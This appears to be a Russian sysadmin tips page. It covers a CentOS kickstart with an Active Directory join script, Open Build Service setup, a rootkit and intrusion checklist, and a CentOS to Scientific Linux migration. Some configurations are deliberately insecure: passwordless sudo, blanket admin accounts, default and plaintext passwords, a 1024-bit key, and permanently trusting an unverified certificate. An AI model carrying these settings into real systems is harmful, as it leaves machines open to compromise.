Clear the Master Boot Record zerombr # Partition clearing information clearpart --all --initlabel # Disk partitioning information. # диски на компьютерах сейчас просто огромные, место жалеть не приходится part /boot --fstype="ext4" --size=1024 part swap --fstype="swap" --recommended part / --fstype="ext4" --size=131072 part /home --fstype="ext4" --grow --size=1 # # А вот тут - самое основное # Скрипт выполняется после всех основных действий по установки, в том числе # после заливки софта, но chroot-нутым в подготовленную машину. # %post # Скрипт создаётся в папке /tmp настраиваемого компьютера. Незачем ему там храниться. rm -f $0 # Говорим yum-у и впредь ставить 32-битные модули вместе с 64-битными. sed -i '/main/a multilib_policy=all' /etc/yum.conf # Делаем группу wheels истинно админской, чтобы даже пароль не спрашивала при sudo [ -d /etc/sudoers.d ] || mkdir /etc/sudoers.d echo '%root ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers.d/rootgrp chmod 0440 /etc/sudoers.d/rootgrp assureFileFolder() { local d=`dirname $1`; [ -d "$d" ] && return mkdir -p "$d" } # Конфигурация переключения раскладок клавиатуры в KDE kxkbrcFile=/etc/skel/.kde/share/config/kxkbrc assureFileFolder ${kxkbrcFile} cat <<EOKXKBRC > ${kxkbrcFile} [Layout] DisplayNames=us,ru LayoutList=us,ru LayoutLoopCount=-1 Model=pc101 Options=grp_led:scroll,grp:caps_toggle,grp:alt_shift_toggle,grp:shifts_toggle ResetOldOptions=true ShowFlag=true ShowLabel=true ShowLayoutIndicator=true ShowSingle=true SwitchMode=Window Use=true EOKXKBRC # Конфигурация локали KDE kdeglobFile=/etc/skel/.kde/share/config/kdeglobals assureFileFolder ${kdeglobFile} cat <<EOKGL > ${kdeglobFile} [Locale] Country=ru DateFormat=%A %d %B %Y Language=ru EOKGL # Конфигурация правописания KDE. kdespellCfg=/etc/skel/.kde/share/config/sonnetrc assureFileFolder ${kdespellCfg} cat <<EOKSPL > ${kdespellCfg} [Spelling] backgroundCheckerEnabled=true checkUppercase=true defaultClient= defaultLanguage=ru ignore_ru= skipRunTogether=true EOKSPL # Конфигурация переключения раскладок клавиатуры в GNOME. # Индикатор раскладок автоматически запускается только с GNOME 2.30, # а текущий гном в дистрибутиве Центоса - 2.28... # Так, что надо либо добавить сюда запуск индикатора, либо настраивать это руками... # Но оба этих упражнения - в другой раз. gnomekbdbase='/etc/skel/.gconf' gnomekbdfile='desktop/gnome/peripherals/keyboard/kbd/%gconf.xml' gkd=`dirname "${gnomekbdfile}"` mkdir -p "${gnomekbdbase}/${gkd}" d="${gkd}"; while [ "x${d}" != "x." ]; do touch ${gnomekbdbase}/$d/'%gconf.xml'; d=`dirname $d`; done sed 's/ /\\t/g' <<EOGCONFKBD > ${gnomekbdbase}/${gnomekbdfile} <?xml version="1.0"?> <gconf> <entry name="options" mtime="1357150396" type="list" ltype="string"> <!-- li type="string"> <stringvalue>terminate terminate:ctrl_alt_bksp</stringvalue> </li --> <li type="string"> <stringvalue>grp_led grp_led:scroll</stringvalue> </li> <li type="string"> <stringvalue>grp grp:caps_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:alt_shift_toggle</stringvalue> </li> <li type="string"> <stringvalue>grp grp:shifts_toggle</stringvalue> </li> </entry> </gconf> EOGCONFKBD chmod 0644 ${kxkbrcFile} ${kdeglobFile} ${kdespellCfg} ${gnomekbdbase}/${gnomekbdfile} # Создаём учётные записи для великих гуру - пусть имеют возможность зайти на любой компьютер # Creation of admins for u in guru0 guru1; do useradd -m -p '*' -g wheel -G root $u mkdir /home/$u/.ssh touch /home/$u/.ssh/authorized_keys chown -R $u:wheel /home/$u/.ssh chmod -R go-rwx /home/$u/.ssh done # А сюда вставляем их публичные ключи SSH. cat <<EOAK0 >> /home/guru0/.ssh/authorized_keys EOAK0 cat <<EOAK1 >> /home/guru1/.ssh/authorized_keys EOAK1 # # У меня установка будет в текстовом режиме, а при этом система получает 3 уровень запуска - исправляем на 5-й. sed -i 's/id:[3-5]:initdefault:/id:5:initdefault:/g' /etc/inittab # Монтируем раздел с дистрибутивом mkdir /tmp/pubDnld mount -o ro 172.17.17.254:/pub /tmp/pubDnld # Ставим дополнительные пакеты. rpm -ivh /tmp/pubDnld/Adobe/adobe-release-x86_64-1.0-1.noarch.rpm rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux rpm -i /tmp/pubDnld/Adobe/flash-plugin-11.2.202.258-release.x86_64.rpm # Удаляем ненужные мне глобальные серверы времени и включаем себя как резервный сервер. # Список серверов времени будем получать по DHCP. sed -i.instbak '/^server /s/^/#/;/server[[:space:]]*127/s/^#//;/fudge[[:space:]]*127/s/^#//' /etc/ntp.conf echo 'NTPSERVERARGS=iburst' >> /etc/sysconfig/network # !!! А вот ради этого всё и затевается - ставим скрипт присоединения к домену cp /tmp/pubDnld/CentOS-conf/adsjoin /etc/init.d/ chmod a+x /etc/init.d/adsjoin # Включаем нужные сервисы и выключаем не нужные. chkconfig kdump off chkconfig ntpd on chkconfig adsjoin on %end # Мой список устанавлеваемых пакетов. Создан system-config-kickstart-ом. # %packages @additional-devel @backup-client @base @basic-desktop @cifs-file-server @client-mgmt-tools @console-internet @core @debugging @desktop-debugging @desktop-platform @desktop-platform-devel @development @directory-client @directory-server @eclipse @fonts @general-desktop @graphical-admin-tools @graphics @hardware-monitoring @input-methods @internet-applications @internet-browser @java-platform @kde-desktop @large-systems @legacy-unix @mysql @mysql-client @network-file-system-client @nfs-file-server @office-suite @performance @perl-runtime @php @print-client @remote-desktop-clients @ruby-runtime @russian-support @scientific @server-platform-devel @system-admin-tools @technical-writing @x11 ImageMagick SDL-devel cachefilesd cmake crypto-utils dcraw desktop-file-utils docbook-utils-pdf dump evolution-exchange expect expect gcc-java glade3 glibc-utils gnome-common gnome-devel-docs gnutls-devel gtk2-devel-docs hesinfo hplip hplip-gui i2c-tools icedtea-web inkscape kdebase-devel kdebase-workspace-devel kdegraphics-devel kdelibs-apidocs kdelibs-devel kdemultimedia-devel kdenetwork-devel kdepim-devel kdepimlibs-devel kdesdk kdesdk-devel krb5-appl-clients krb5-pkinit-openssl krb5-workstation ldapjdk libXau-devel libXaw-devel libXinerama-devel libXmu-devel libXpm-devel libXrandr-devel libbonobo-devel libreoffice-base libreoffice-emailmerge libreoffice-headless libreoffice-javafilter libreoffice-ogltrans libreoffice-presentation-minimizer libreoffice-report-builder libreoffice-wiki-publisher libudev-devel libusb-devel libuuid-devel libxslt-devel lm_sensors mc memtest86+ net-snmp-devel netpbm-progs nscd nss-pam-ldapd openldap-clients pam_krb5 pam_ldap perl-Test-Pod perl-Test-Pod-Coverage perl-suidperl pexpect php-mysql planner qt-doc rpmdevtools rpmlint ruby-irb samba samba-winbind screen sox startup-notification-devel systemtap-grapher taskjuggler texinfo tftp thunderbird xchat xfig xmlto-tex xmltoman xorg-x11-proto-devel xrestop xz-devel %end 5. Скрипт интеграции в Active Directory. Собственно, это то, ради чего писалась вся статья. Скрипт достаточно прост, предназначен для использования теми, кто знает, что такое Active Directory и имеет соответствующее звание - Ад-мин. Проверки входных данных есть, но очень слабые. Скрипт выполняет ряд важных действий:
  • Выполняет синхронизацию времени компьютера с доменом. Адреса NTP сервера(-ов) берутся из DHCP. Если синхронизация по чему либо не срабатывает - скрипт запрашивает адрес NTP сервера.
  • Запрашивает имя компьютера и домена.
  • Прописывает эти значения в файлах конфигурации Самбы, Цербера и Лдапа.
  • Запрашивает имя админа и авторизуется им в Цербере.
  • Присоединяет комп к Active Directory.
  • Выполняет ряд дополнительных настроек компьютера. Скрипт /pub/CentOS-conf/adsjoin #!/bin/bash # c#hkconfig: 345 98 1 ### BEGIN INIT INFO # Provides: adsjoin # Default-Start: 3 4 5 # Default-Stop: 0 1 2 6 # Required-Start: # Should-Start: $network # Short-Description: Requests ADS data and joins domain # Description: Asks user to enter ADS domain name, admin account and password. # Configures system to use ADS and joins it. ### END INIT INFO # Source function library. . /etc/init.d/functions FILENAME=/etc/sysconfig/adsjoin [ -z "$HOME" ] && export HOME=/ usage() { echo $"Usage: $0 {start|stop}" } prepareConfig() { # Fix system hostname fhn="${HOSTNAME,,}.${DOMAINNAME_FULL,,}" sed -i.adsjoinbak '/^HOSTNAME=/s/=.*/='$fhn'/' /etc/sysconfig/network hostname ${fhn} # add this name to work echo 127.0.0.1 ${fhn} ${fhn/.*} >> /etc/hosts cat <<EOSMB >> /etc/samba/smb.conf [global] winbind refresh tickets = true kerberos method = secrets and keytab EOSMB cat <<EOPWB >> /etc/security/pam_winbind.conf krb5_auth = yes cached_login = yes krb5_ccache_type = FILE EOPWB # --winbindtemplateprimarygroup=users \\ basedn=$(echo ${DOMAINNAME_FULL,,} | sed 's/^\\.*/dc=/;s/\\.*$//;s/\\.\\.*/,dc=/g') authconfig --update \\ --enablelocauthorize --enablecache \\ --enablekrb5realmdns --enablekrb5kdcdns \\ --ldapserver=ldap://${DOMAINNAME_FULL,,}/ --ldapbasedn=${basedn} \\ --enablemkhomedir --winbindtemplatehomedir=/home/%U --winbindtemplateshell=/bin/bash \\ --enablewinbindusedefaultdomain --enablewinbindauth --enablewinbind --enablewinbindoffline \\ --smbsecurity=ads --smbrealm=${DOMAINNAME_FULL} --smbworkgroup=${DOMAINNAME_SHORT} --smbservers='*' cat <<EOKRB > /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = ${DOMAINNAME_FULL} dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} ${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} EOKRB } askHostDom() { local hn dn while :; do read -p 'Enter HOSTNAME without domain: ' hn [ 0 -eq "$?" -a 4 -le ${#hn} -a ${#hn} -le 15 -a -z "$(expr "$hn" : '[a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${hn}" echo "You have to specify HOSTNAME 4 to 15 chars long." echo "Only numbers, latin letter and '-' are allowed." done while :; do read -p 'Enter DOMAINNAME: ' dn [ 0 -eq "$?" -a 6 -le ${#dn} -a -z "$(expr "$dn" : '[.a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${dn}" echo "You have to specify DOMAINNAME at least 6 chars long." echo "Only latin letter, numbers, '.' and '-' are allowed." done HOSTNAME="$hn" DOMAINNAME_FULL="${dn^^}" DOMAINNAME_SHORT=${DOMAINNAME_FULL/.*} } askOrgDir() { local od echo 'Enter Organizational directory where to create computer'\\''s account. Defaut is "Computers".' echo 'Example: Site/Unit/Computers' read -p 'Org. dir.: ' od ORG_DIRECTORY="$od" } askAdmAccount() { local un while :; do read -p "Enter Admin account of scpecified domain: " un [ 0 -eq "$?" -a 1 -lt ${#un} ] && break; echo "Wrong value ${un}" echo "You have to specify admin account at least 1 char long." done ADMINACCOUNT="$un" } case "$1" in start) if [ `/usr/bin/id -u` -ne 0 ]; then echo $"ERROR: Only root can run $0" exit 4 fi if [ ! -f /usr/bin/net ]; then echo $"ERROR: samba is not installed" exit 5 fi args="" if [ -f $FILENAME ] && [ ! -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then exit 0 fi . /etc/profile.d/lang.sh /usr/bin/plymouth --hide-splash echo echo '========================================================' echo '============ Joining ADS' echo '========================================================' echo NTPSRVSRC='DHCP' NTPSRVS=$(sed -n 's/^server[[:space:]]*\\([^[:space:]]*\\).*/\\1/p' /etc/ntp.conf| grep -v '^127' | sort -u) while :; do if [ -n "$NTPSRVS" ] ; then if ntpdate -u -b $NTPSRVS then echo "Ok" break; else echo "Can not synchronize to $NTPSRVS" fi fi echo -e "WARNING!!!\\nNO working time servers specified by ${NTPSRVSRC}!" read -p 'Enter NTP server(s) of domain: ' NTPSRVS NTPSRVSRC=user done askHostDom echo prepareConfig echo service rsyslog restart /sbin/chkconfig winbind on RETVAL=255 HOME=/root LOGNAME=root USER=root export HOME LOGNAME USER cntr=3 while [ 0 -lt "$cntr" ]; do askAdmAccount if /usr/bin/kinit "${ADMINACCOUNT}"; then RETVAL=0; break; fi RETVAL=$? echo "Error loging in domain ${DOMAINNAME_FULL}" cntr=$(( $cntr - 1 )) done if [ "$RETVAL" -eq 0 ]; then cntr=3 while [ 0 -lt "$cntr" ]; do askOrgDir if [ -n "${ORG_DIRECTORY}" ]; then ADS_ORG="createcomputer='${ORG_DIRECTORY}'" else ADS_ORG="" fi ( eval "set -x; /usr/bin/net ads join -d 1 -k ${ADS_ORG}" ) 2>&1 | tee /tmp/net-ads-join-$$-$cntr # /usr/bin/net ads join -d 2 -k RETVAL=$? if [ "$RETVAL" -ne 0 ]; then echo "WARNING!!! Join failed" read -p 'Press Enter' else { /usr/bin/net -d 1 ads keytab create /sbin/service winbind restart /usr/bin/net -d 1 ads dns register } > /tmp/adsjoin-$$ 2>&1 break; fi cntr=$(( $cntr - 1 )) done fi /usr/bin/plymouth --show-splash # If adsjoin succeeded, chkconfig it off so we don't see the message # every time about starting up adsjoin. if [ "$RETVAL" -eq 0 ]; then action "" /bin/true else action "" /bin/false fi /sbin/chkconfig adsjoin off exit $RETVAL ;; stop) exit 0 ;; status) /sbin/chkconfig --list adsjoin | grep on >/dev/null RETVAL=$? if [ "$RETVAL" -eq 0 ]; then if [ ! -f $FILENAME ] || [ -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then echo $"adsjoin is scheduled to run" else echo $"adsjoin is not scheduled to run" fi else echo $"adsjoin is not scheduled to run" fi exit 0 ;; restart | reload | force-reload | condrestart | try-restart) usage exit 3 ;; *) usage exit 2 ;; esac Примечание: Параметры "kerberos method" файла /etc/samba/smb.conf и "krb5_ccache_type" файла /etc/security/pam_winbind.conf должны соответствовать друг другу, иначе пользователь не сможет войти в систему. Как ни странно, синхронизация времени часто сбивается в первые секунды после получения адреса по dhcp - приходится вводить адреса серверов времени по нескольку раз. Скрипт перезапускает самбу и при его корректном завершении компьютер готов для работы без перезагрузки. 6. Запускаем компьютеры Подключаем к установочному VLAN-у коммутатор. Запасаемся веером патч-кордов, кабелей питания и пр. Подключаем сразу несколько компьютеров. Запускаем на каждом новом компьютере загрузку по сети, по протоколу PXE. У моих компьютеров сетевая загрузка была отключена, приходилось к каждому подключать монитор и клавиатуру и немного донастраивать BIOS. Но в итоге, параллельная подготовка компьютеров, включившая распаковку, заливку, введение в домен и упаковку для отправки в дальний офис занимала менее часа на десяток компьютеров, при том, что отдельный компьютер подготавливается около 15 минут. Что не добавлено 1. Если какие-либо системные утилиты, работающие под уч. записью root и понимающие, что такое Цербер, лезут к компьютерам домена, можно добавить в крон ежечасный вызов /usr/bin/net ads kerberos kinit -P - инициализация Церберного билета уч. записи компьютера. 2. Можно добавить клиенту DHCP скрипт само-регистрации в DNS: /etc/dhcp/dhclient.d/dnsreg.sh #!/bin/sh dnsreg_config() { if [ -x /usr/bin/net ] ; then /usr/bin/net ads dns register -P 2>&1 | logger -p daemon.info -t dhclient fi true } 3. Не настроен сервер обновлений. У нас CentOS ставился для пробы перед покупкой RedHat-а, обновлять его как-то не планировалось. Благодарности
  • Руководству - за поставленную задачу и время, выделенное на её решение.
  • VMWare - за незначительное количество "особенностей" в эмуляторе, в целом просто невероятным образом сократившего время отладки.
  • Microsoft - за незабываемое время проведённое в борьбе с Active Directory.
  • Wireshark.org - за отличный инструмент борьбы со всем этим счастьем.
  •  
    ----* Установка Open Build Service и организация сборки пакетов для разных дистрибутивов Linux (доп. ссылка 1)   Автор: Александр Молчанов  [комментарии]
     
    В заметке рассказано, как при помощи открытой платформы  Open Build Service
    (OBS) упростить поддержку собственных репозиториев и организовать сборку
    бинарных пакетов для популярных дистрибутивов Linux. При водится пример
    установки в openSUSE 12.1 серверной части OBS и настройки клиентского окружения
    для сборки пакетов в Ubuntu.
    
    Установка сервера OBS
    
    Прежде всего, нужно убедиться, что подключен репозиторий oss (это основной
    репозиторий openSUSE, где находится только программное обеспечение с открытым
    кодом). Он необходим для установки таких пакетов как Apache2, MySQL-server и т.д.
    
    Добавим репозиторий для установки Open Build Server.
    
       zypper addrepo download.opensuse.org/distribution/12.1/repo/oss/ openSUSE-12.1-Oss
       sudo zypper addrepo zypper addrepo download.opensuse.org/repositories/openSUSE:/Tools:/Unstable/openSUSE_12.1/openSUSE:Tools:Unstable.repo
       sudo zypper refresh
    
    Теперь можно начать установку.
    
       sudo zypper in obs-server obs-api
    
    Установка потянет за собой пачку необходимых пакетов, таких как apache,
    mysql-server, rubygems и т.д. Всего примерно на 90Мб.
    
    Внесём пару изменений в файл конфигурации. Для этого открываем
    /etc/sysconfig/obs-server, находим и приводим их к следующему виду строки:
    
       OBS_SRC_SERVER="localhost:5352"
       OBS_REPO_SERVERS="localhost:5252"
    
    Теперь можно запускать сервисы:
    
       rcobsrepserver start
       rcobssrcserver start
       rcobsscheduler start
       rcobsdispatcher start
       rcobspublisher start
    
    Переходим к созданию баз данных и их наполнению:
    
       mysql> create database api_production;
       mysql> create database webui_production;
       mysql> create user 'obs'@'%' identified by 'obspassword';
       mysql> create user 'obs'@'localhost' identified by 'obspassword';
       mysql> GRANT all privileges ON api_production.* TO 'obs'@'%', 'obs'@'localhost';
       mysql> GRANT all privileges ON webui_production.* TO 'obs'@'%', 'obs'@'localhost';
       mysql> FLUSH PRIVILEGES;
    
    
    Настроим подключение к mysql API и WebUI. Для этого в любом удобном редакторе
    открываем файлы /srv/www/obs/api/config/database.yml и
    /srv/www/obs/webui/config/database.yml, находим и редактируем следующий блок:
    
       production:
       adapter: mysql2
       database: api_production
       username: obs
       password: obspassword
    
    
    Наполним базы и установим необходимые права на папки tmp и log
    
       cd /srv/www/obs/api/
       sudo RAILS_ENV="production" rake db:setup
       sudo chown -R wwwrun.www log tmp
       cd /srv/www/obs/webui/
       sudo RAILS_ENV="production" rake db:setup
       sudo chown -R wwwrun.www log tmp
    
    Настроим Apache. Установим модуль apache2-mod_xforward. Для этого подключим ещё один репозиторий.
    
    
       zypper addrepo download.opensuse.org/repositories/openSUSE:/Tools/SLE_11/ Tools-SLE
       zypper refresh
       zypper in apache2-mod_xforward
    
    
    Подключим необходимые модули в /etc/sysconfig/apache2.
    
       APACHE_MODULES="... passenger rewrite proxy proxy_http xforward headers"
    
    Включим поддержку SSL и сгенерируем сертификаты:
    
       APACHE_SERVER_FLAGS="-DSSL"
    
       mkdir /srv/obs/certs
       openssl genrsa -out /srv/obs/certs/server.key 1024
       openssl req -new -key /srv/obs/certs/server.key -out /srv/obs/certs/server.csr
       openssl x509 -req -days 365 -in /srv/obs/certs/server.csr -signkey /srv/obs/certs/server.key -out /srv/obs/certs/server.crt
       cat /srv/obs/certs/server.key /srv/obs/certs/server.crt > /srv/obs/certs/server.pem
    
    
    Установим use_xforward:true в /srv/www/obs/webui/config/options.yml и /srv/www/obs/api/config/options.yml
    
    Теперь один очень важный нюанс. Открываем файл
    /srv/www/obs/webui/config/environments/production.rb, ищем строчку
    CONFIG['frontend_host'] = "localhost" и вместо localhost пишем имя сервера,
    которое мы указали при генерации сертификата.
    Если этого не сделать, то при попытке открыть WebUI или API, будете получать
    ошибку "hostname does not match the server certificate".
    
    Перезапускаем Apache и OBS для применения изменений:
    
       rcapache2 restart
       rcobsapidelayed restart
    
    
    Проверяем работоспособность.
    
    После перезапуска Apache API должен быть доступен по адресу servername:444.
    
    WebUI будет доступен по адресу servername.
    
    Логин и пароль по умолчанию Admin/opensuse.
    
    Подробно останавливаться на использовании WebUI не буду. Интерфейс интуитивно понятный и удобный.
    
    
    Использование клиента для сборки в OBS - OSC (openSUSE Build Service Commander)
    
    Данный пакет доступен практически для всех дистрибутивов Linux. С его помощью
    мы сможем создавать проекты, пакеты, загружать исходные файлы.
    
    Для установки в Ubuntu выполним:
    
       apt-get install osc
    
    Следующим шагом нужно создать файл конфигурации, который необходим для работы с
    нашим сервером. Создать его можно в автоматическом режиме, используя любую
    команду osc, к примеру, osc ls. Но проще создать в корне домашней директории
    файл .oscrc следующего содержания:
    
       [general]
       apiurl = https://servername:444
       use_keyring = 0
    
       [https://servername:444]
       user = Admin
       pass = opensuse
       keyring = 0
    
    
    Вместо servername пишем имя своего сервера. Имя опять же должно совпадать с
    указанным во время создания сертификата, иначе получите ошибку "Certificate
    Verification Error: Peer certificate commonName does not match host"
    Проверяем подключение, выполнив команду osc ls (вывести листинг проектов).
    Принимаем сертификат.
    
       The server certificate failed verification
       Would you like to
       0 - quit (default)
       1 - continue anyways
       2 - trust the server certificate permanently
       9 - review the server certificate
       Enter choice [0129]: 2
    
    Попробуем создать новый проект (MyProject - название вашего проекта):
    
       osc meta prj -e MyProject 
    
    После этого откроется xml-файл конфигурации нового проекта, где вам нужно
    будет, как минимум, указать Title и Description. Здесь же можно
    раскомментировать строки, в которых указано под какую систему будут собираться
    пакеты в данном проекте.
    
       <project name="MyProject">
         <title>MyProject</title>
         <description>MyTestProject</description>
         <person role="maintainer" userid="Admin" />
         <person role="bugowner" userid="Admin" />
         <publish>
           <disable />
         </publish>
         <build>
           <enable />
         </build>
         <debuginfo>
           <disable />
         </debuginfo>
         <repository name="openSUSE_Factory">
           <path project="openSUSE:Factory" repository="standard" />
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="openSUSE_11.2">
           <path project="openSUSE:11.2" repository="standard"/>
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="openSUSE_11.1">
           <path project="openSUSE:11.1" repository="standard"/>
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="Fedora_12">
           <path project="Fedora:12" repository="standard" />
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="SLE_11">
           <path project="SUSE:SLE-11" repository="standard" />
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
       </project>
       
    Создание пакета происходит по такой же схеме (MyProject - название вашего
    проекта, MyPackage - ваш новый пакет)
    
       osc meta pkg -e MyProject MyPackage
    
    Теперь, когда проект и пакет созданы, нам нужно отправить на сервер файлы
    исходников, из которых будут собираться бинарные пакеты.
    Сначала создадим локальную копию проекта у себя на рабочей машине.
    
    
       osc co MyProject
    
    После этого должна появиться иерархия каталогов MyProject/MyPackage. Помещаем
    свои файлы исходников в каталог MyPackage, после чего добавляем их в контроль
    версий командой:
    
       osc add MyProject/MyPackage /MyFiles
    
    и закачиваем на сервер
    
       osc ci MyProject/MyPackage -m "Your comment" --skip-validation
    
    Результат сборки смотрим командой
    
       osc results MyProject/MyPackage
    
    
    Теперь приведу отдельно краткий перечень команд для работы с проектами и пакетами из консоли.
    
    Вывести список проектов:
    
       osc ls
    
    Создать проект:
    
       osc meta prj -e ProjectName
    
    Создать пакет:
    
       osc meta pkg -e ProjectName PackageName
    
    Удалить проект или пакет:
    
       osc rdelete ProjectName/PackageName
    
    Сделать локальную копию проекта:
    
       osc co ProjectName
    
    Добавить новые файлы в контроль версий:
    
       osc add ProjectName/PackageName/YourFiles
    
    Удалить исходные файлы:
    
       osc rremove ProjectName PackageName SourceName
       osc update ProjectName
    
    Подтвердить изменения в проекте:
    
       osc ci ProjectName -m "Your comment" --skip-validation
    
    Подтвердить изменения в пакете:
    
       osc ci Project Name/Package Name -m "Your comment"
    
    Показать результат сборки:
    
       osc results Project Name/Package Name
    
    Показать лог сборки (выполнять в каталоге пакета):
    
       osc buildlog Platform Arch (osc buildlog xUbuntu_12.04 i586)
    
     
    ----* Получение списка внешних .deb зависимостей для исполняемого файла   Автор: Карбофос  [комментарии]
     
    Если программисту необходимо создать установочный пакет для Debian-подобных
    систем, необходимо указывать список внешних зависимостей (дополнительных
    пакетов необходимых для полноценного запуска бинарного файла).
    
    Команда для определения списка зависимостей с выдачей информации о версиях внешних deb пакетов:
       dpkg -l $( dpkg -S $( ldd YourBinaryOrLib | awk '{print $3}' ) | awk '{{sub(":"," ")} print $1}' )
    
    где YourBinaryOrLib - имя собранного бинарного файла
    
     
    ----* Проверка Linux-системы на наличие следов взлома (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В процессе разбора истории со взломом  kernel.org было выявлено, что
    атаковавшим удалось установить вредоносное ПО на Linux-машины некоторых
    разработчиков, используя которое были перехвачены ключи доступа. В списке
    рассылки разработчиков ядра Linux опубликована краткая инструкция по
    проверке целостности системы и выявлению следов активности злоумышленников.
    Суть опубликованных рекомендаций изложена ниже.
    
    Одним из очевидных способов гарантировать чистоту системы от активности
    злоумышленников является переустановка системы с нуля. Но прежде чем прибегнуть
    к переустановке, следует убедиться, что система действительно поражена. Чтобы
    обеспечить выявление скрывающих свое присутствие руткитов проверку желательно
    выполнять загрузившись с LiveCD.
    
    
    1. Установка и запуск специализированных инструментов для выявления руткитов, например,
    chkrootkit, ossec-rootcheck и rkhunter.
    При запуске утилиты rkhunter возможно ложное срабатывание на некоторых системах
    с Debian. Вызывающие ложные срабатывания факторы описаны в файле /usr/share/doc/rkhunter/README.Debian.gz
    
    
    2. Проверка корректности сигнатур для всех установленных в системе пакетов.
    Для дистрибутивов на базе RPM:
    
       rpm --verify --all
    
    Для дистрибутивов с dpkg следует использовать скрипт:
    
       dpkg -l \*|while read s n rest; do if [ "$s" == "ii" ]; then echo $n;
       fi; done > ~/tmp.txt
       for f in `cat ~/tmp.txt`; do debsums -s -a $f; done
    
    Утилиту debsums следует установить отдельно:
       sudo apt-get install debsums
    
    Вывод измененных файлов:
       debsums -ca
    
    Вывод измененных файлов конфигурации:
       debsums -ce
    
    Посмотреть пакеты без контрольных сумм:
       debsums -l
    
    Другой вариант контрольных сумм для файлов в Debian:
    
       cd /var/lib/dpkg/info
       cat *.md5sums | sort > ~/all.md5
       cd /
       md5sum -c ~/all.md5 > ~/check.txt 2>&1
       
    
    3. Проверка на то, что установленные пакеты действительно подписаны
    действующими цифровыми подписями дистрибутива.
    
    Для систем на базе пакетного менеджера RPM:
    
       for package in `rpm -qa`; do
          sig=`rpm -q --qf '%{SIGPGP:pgpsig}\n' $package`
          if [ -z "$sig" ] ; then
             # check if there is a GPG key, not a PGP one
             sig=`rpm -q --qf '%{SIGGPG:pgpsig}\n' $package`
             if [ -z "$sig" ] ; then
                 echo "$package does not have a signature!!!"
             fi
         fi
       done
    
    
    
    4. При выявлении подозрительных пакетов их желательно удалить и установить заново.
    
    Например, для переустановки ssh в дистрибутивах на базе RPM следует выполнить:
    
    	/etc/init.d/sshd stop
    	rpm -e openssh
    	zypper install openssh	# для openSUSE
    	yum install openssh	# для Fedora
    
    Рекомендуется проделать эти операции, загрузившись с LiveCD и используя опцию 'rpm --root'.
    
    5. Проверка целостности системных скриптов в /etc/rc*.d и выявление
    подозрительного содержимого в /usr/share. Эффективность выполнения проверок
    можно гарантировать только при загрузке с LiveCD.
    
    Для выявления директорий в /usr/share, которые не принадлежат каким-либо
    пакетам в дистрибутивах на базе RPM можно использовать следующий скрипт:
    
       for file in `find /usr/share/`; do
          package=`rpm -qf -- ${file} | grep "is not owned"`
          if [ -n "$package" ] ; then
             echo "weird file ${file}, please check this out"
          fi
       done
    
    В Debian для определения какому пакету принадлежит файл следует использовать "dpkg-query -S":
    
       for file in `find /usr/share/GeoIP`; do
          package=`dpkg-query -S ${file} 2>&1 | grep "not found"`
          if [ -n "$package" ] ; then
             echo "weird file ${file}, please check this out"
          fi
       done
    
    
    Аудит suid root программ:
    
       find / -user root -perm -4000 -ls
    
    6. Проверка логов на предмет наличия нетипичных сообщений:
    
    * Проверить записи в wtmp и /var/log/secure*, обратив особое внимание на
    соединения с внешних хостов.
    * Проверить упоминание обращения к /dev/mem;
    * В /var/log/secure* посмотреть нет ли связанных с работой ssh строк с не
    текстовой информацией в поле версии, которые могут свидетельствовать о попытках взлома.
    * Проверка удаления файлов с логами, например, может не хватать одного файла с ротацией логов.
    * Выявление подозрительных соединений с локальной машины во вне, например,
    отправка email или попытки соединения по ssh во время вашего отсутствия.
    * Анализ логов пакетного фильтра с целью выявления подозрительных исходящих
    соединений. Например, даже скрытый руткитом бэкдор может проявить себя в логах
    через резолвинг DNS. Общая рекомендация сводится к контролю на промежуточном
    шлюзе соединений во вне для только принимающих внешние соединения машин и
    соединений из вне для только отправляющих запросы клиентских машин.
    
    7. Если в процессе проверки обнаружен факт проникновения злоумышленника следует
    сделать копию дисковых разделов на отдельный носитель при помощи команды "dd" с
    целью более подробного анализа методов проникновения. Только после этого можно
    полностью переустановить всю систему с нуля. Одновременно нужно поменять все
    пароли и ключи доступа, уведомив об инциденте администраторов серверов, на
    которых осуществлялась удаленная работа.
    
     
    ----* Конвертация СentOS 6 в Scientific Linux 6 (доп. ссылка 1) (доп. ссылка 2)   Автор: StormBP  [комментарии]
     
    Миграция с СentOS на Scientific Linux может быть целесообразна в свете
    доступности Scientific Linux 6.1, в то время как выпуск СentOS 6.1 лишь в планах.
    
    Перед началом миграции выполняем полное резервное копирование.
    
    1. Устанавливаем репозитории Scientific Linux:
    
       rpm -ivh --force http://ftp.scientificlinux.org/linux/scientific/6x/x86_64/os/Packages/sl-release-6.1-2.x86_64.rpm
    
    2. Чистим yum:
    
       yum clean all 
    
    3. Обновляем сам yum и rpm:
    
       yum update yum* rpm*
    
    4. Обновляем систему:
    
       yum update
    
    5. Удаляем лишнее:
    
       rpm -e centos-release
       rpm -e yum-plugin-fastestmirror
    
    6. Синхронизируем пакеты из репозиториев:
    
       yum distro-sync
    
    7. Переустанавливаем пакеты вендора CentOS:
    
    Выводим список пакетов:
    
       rpm -qa --qf "%{NAME} %{VENDOR}\n"|grep CentOS 
    
    Для каждого пакета из списка выполняем:
    
       yum reinstall пакет
    
    8. Перезагружаем систему:
    
       reboot
    
     
